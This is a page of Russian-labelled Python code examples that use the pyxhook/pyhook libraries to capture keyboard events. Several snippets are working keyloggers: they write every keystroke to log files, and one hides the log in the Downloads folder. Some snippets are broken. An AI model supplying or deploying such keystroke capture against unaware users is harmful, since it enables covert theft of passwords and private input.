Пример #1
0
def main():
    def OnKeyPress(event):
        print(event.Key)

        # if event.Key == "grave":
        #     new_hook.cancel()
        return True

    new_hook = pyhook.HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()

    try:
        if platform == "linux":
            new_hook.start()
        elif platform == "win32":
            pythoncom.PumpMessages()
    except KeyboardInterrupt:
        # User cancelled from command line.
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyhook.print_err(msg)
        logging.error(msg)
Пример #2
0
    def start(self):
        log_file = settings.log_file
        cancel_key = settings.cancel_key

        if settings.log_clean is not None:
            try:
                os.remove(log_file)
            except EnvironmentError:
                # File does not exist, or no permissions.
                pass

        def OnKeyPress(event):
            with open(log_file, 'a') as f:
                f.write('{}\n'.format(event.Key.lower()))

        new_hook = pyxhook.HookManager()
        new_hook.KeyDown = OnKeyPress
        new_hook.HookKeyboard()

        try:
            new_hook.start()
        except KeyboardInterrupt:
            pass
        except Exception as ex:
            msg = 'Error while catching events:\n  {}'.format(ex)
            pyxhook.print_err(msg)
            with open(log_file, 'a') as f:
                f.write('\n{}'.format(msg))

        running = True
        while running:
            time.sleep(0.1)
Пример #3
0
def main():
    # specify the name of the file (can be changed )
    log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'

    # the logging function with {event parm}
    def OnKeyPress(event):

        with open(log_file, "a") as f:  # open a file as f with Append (a) mode
            if event.Key == 'P_Enter':
                f.write('\n')
            else:
                f.write(
                    f"{chr(event.Ascii)}"
                )  # write to the file / convert ascii to readable characters

    # create a hook manager object
    new_hook = pyxhook.HookManager()
    new_hook.KeyDown = OnKeyPress

    new_hook.HookKeyboard()  # set the hook

    try:
        new_hook.start()  # start the hook
    except KeyboardInterrupt:
        # User cancelled from command line.
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = f"Error while catching events:\n  {ex}"
        pyxhook.print_err(msg)
        with open(log_file, "a") as f:
            f.write(f"\n{msg}")
Пример #4
0
def Klogger():

    log = os.environ.get(
        'pylogger_file',
        os.path.expanduser('~/Downloads/download.log')  #Directory of log file
    )

    user = os.path.expanduser("~")
    timi = datetime.now()

    with open(log, 'a') as f:
        f.write(str(user) + '\n' + str(timi) + '\n')

    def OnKeyPress(event):
        with open(log, 'a') as f:
            if (event.Key == "Return" or event.Key == "Tab"):
                f.write('{}\n'.format(event.Key))
            else:
                f.write('{} - '.format(event.Key))

    new_hook = pyxhook.HookManager()
    new_hook.KeyDown = OnKeyPress

    new_hook.HookKeyboard()
    try:
        new_hook.start()
    except KeyboardInterrupt:

        pass
    except Exception as ex:
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
            f.write('\n{}'.format(msg))
Пример #5
0
def main():
    parser = ArgumentParser(description='A simple keylogger for Linux.')
    parser.add_argument(
        '--log-file',
        default=os.path.join(os.path.dirname(os.path.realpath(sys.argv[0])),
                             'loggedKeys.log'),
        help='Save the output in this file.',
    )
    parser.add_argument(
        '--clean-file',
        action='store_true',
        default=True,
        help='Clear the log file on startup.Default is No',
    )
    parser.add_argument(
        '--cancel-key',
        help='A single key that use as the cancel key, Default is ` (backtick)',
    )

    args = parser.parse_args()
    # current working directory for work after daemonizing
    logged = cwd + '/loggedKeys.log'
    print(logged)
    log_file = logged

    if args.clean_file:
        try:
            os.remove(log_file)
        except OSError:
            # TODO: log with logging module
            pass

    cancel_key = args.cancel_key[0] if args.cancel_key else '`'

    def OnKeyPress(event):
        with open(log_file, 'a') as f:
            res = chr(event.Ascii)
            if res:
                f.write('{}\n'.format(res))

        if event.Ascii == cancel_key:
            new_hook.cancel()

    new_hook = pyxhook.HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()

    try:
        new_hook.start()
    except KeyboardInterrupt:
        # User cancelled from command line.
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
            f.write('\n{}'.format(msg))
Пример #6
0
def keyboard():
    try:
        new_hook.start()
    except KeyboardInterrupt:
        # User cancelled from command line.
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyxhook.print_err(msg)
        with open(log_file, 'a') as f:
            f.write('\n{}'.format(msg))
Пример #7
0
def keylogger():
    hook = pyxhook.HookManager()
    hook.KeyDown = key_function
    hook.HookKeyboard()
    try:
        hook.start()
    except KeyboardInterrupt:
        pass
    except Exception as ex:
        msg = "Error while catching events:\n()".format(ex)
        pyxhook.print_err(msg)
        with open("log_file", "a") as f:
            f.write("\n{}".format(msg))
Пример #8
0
def stopButtonPress():
    global isRecording
    if isRecording == True:
        try:
            new_hook.cancel()
            isRecording = False
            setGUIToRecordingStatus(0)
        except Exception as ex:
            msg = 'Error while catching events:\n  {}'.format(ex)
            pyxhook.print_err(msg)
    else:
        messagebox.showinfo(
            "Error",
            "The keyLogger is already at stop mode \nPlease activate the keyLogger "
        )
Пример #9
0
def onKeyPress(event):
	with open(log_file, 'a') as f:
		f.write('{}\n'.format(event.Key))
	
	hook_n1 = pyxhook.HookManager()
	hook_n1.KeyDown = OnKeyPress

	hook_n1.HookKeyboard()

	try:
		hook_n1.start()
	except KeyboardInterrupt
		pass
	except Exception as ex:
		msg = 'Error while catching events:\n {}'.format(ex)
		pyxhook.print_err(msg)
		with open(log_file, 'a') as f:
			f.write('\n{}/format(msg))
Пример #10
0
def startButtonPress():
    global isRecording
    if isRecording == False:
        buildHook()
        try:
            new_hook.start()  # start the hook
            isRecording = True
            setGUIToRecordingStatus(1)
        except KeyboardInterrupt:
            # User cancelled from command line.
            pass
        except Exception as ex:
            # Write exceptions to the log file, for analysis later.
            msg = 'Error while catching events:\n  {}'.format(ex)
            pyxhook.print_err(msg)
            with open(log_file, 'a') as f:
                f.write('\n{}'.format(msg))
    else:
        messagebox.showinfo("Error", "The keyLogger is already at start mode ")
Пример #11
0
def main():
	global STATS, log_file
	log_filename = 'keypress_freq.json'

	# Get log filename from command line
	if len(sys.argv) > 1:
		log_filename = sys.argv[1]
	log_file = os.path.expanduser(log_filename)

	# Create log file if not exist
	if not os.path.exists(log_file):
		with open(log_file, "w"):
			pass

	# Load STATS from file
	with open(log_file, 'r') as f:
		data = f.readline()
		if (data != ''):
			try:
				STATS = json.loads(data)
			except json.JSONDecodeError:
				print("File found but no valid JSON could be parsed.")
				exit(0)
	total_keypress = sum(STATS.values())
	print(f"{total_keypress:,}", "keypresses read.")
	
	kill_handlers()

	# create a hook manager object
	new_hook = pyxhook.HookManager()
	new_hook.KeyDown = OnKeyPress
	# set the hook
	new_hook.HookKeyboard()
	try:
		# Start the hook
		new_hook.start()
	except KeyboardInterrupt:
		# User cancelled from command line.
		pass
	except Exception as ex:
		# Write exceptions to the log file, for analysis later.
		print('Error while catching events:\n {}'.format(ex))
		pyxhook.print_err(msg)
Пример #12
0
def main():
    LoadKeysFromConfig()

    if COMMS_TYPE == 'Wifi':
        comms_socket = CommsHandler(CLIENT_HOST, CLIENT_PORT, SERVER_HOST,
                                    SERVER_PORT)
    else:
        comms_socket = CommsHandler(BT_SERVER_HOST, BT_SERVER_PORT, 'Client')
    comms_socket.Open()

    def OnKeyPress(event):
        print(event.Key)

        if event.Key in keybind_funcs.keys():
            keybind_funcs[event.Key](comms_socket)

        # if event.Key == "grave":
        #     new_hook.cancel()
        return True

    new_hook = pyhook.HookManager()
    new_hook.KeyDown = OnKeyPress
    new_hook.HookKeyboard()

    try:
        if platform == "linux":
            new_hook.start()
        elif platform == "win32":
            pythoncom.PumpMessages()
    except KeyboardInterrupt:
        # User cancelled from command line.
        comms_socket.Close()
        pass
    except Exception as ex:
        # Write exceptions to the log file, for analysis later.
        comms_socket.Close()
        msg = 'Error while catching events:\n  {}'.format(ex)
        pyhook.print_err(msg)
        logging.error(msg)
Пример #13
0
        # File does not exist, or no permissions.
        pass


socket_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def OnKeyPress(event):
    #with open(log_file, 'a') as f:
        #f.write('{}\n'.format(event.Key))
    socket_client.sendto(event.Key.encode('utf-8'), ('127.0.0.1', 9876))
    #print(event.Key)

    if event.Ascii == cancel_key:
        new_hook.cancel()


new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
try:
    new_hook.start()
except KeyboardInterrupt:
    # User cancelled from command line.
    pass
except Exception as ex:
    # Write exceptions to the log file, for analysis later.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    #with open(log_file, 'a') as f:
        #f.write('\n{}'.format(msg))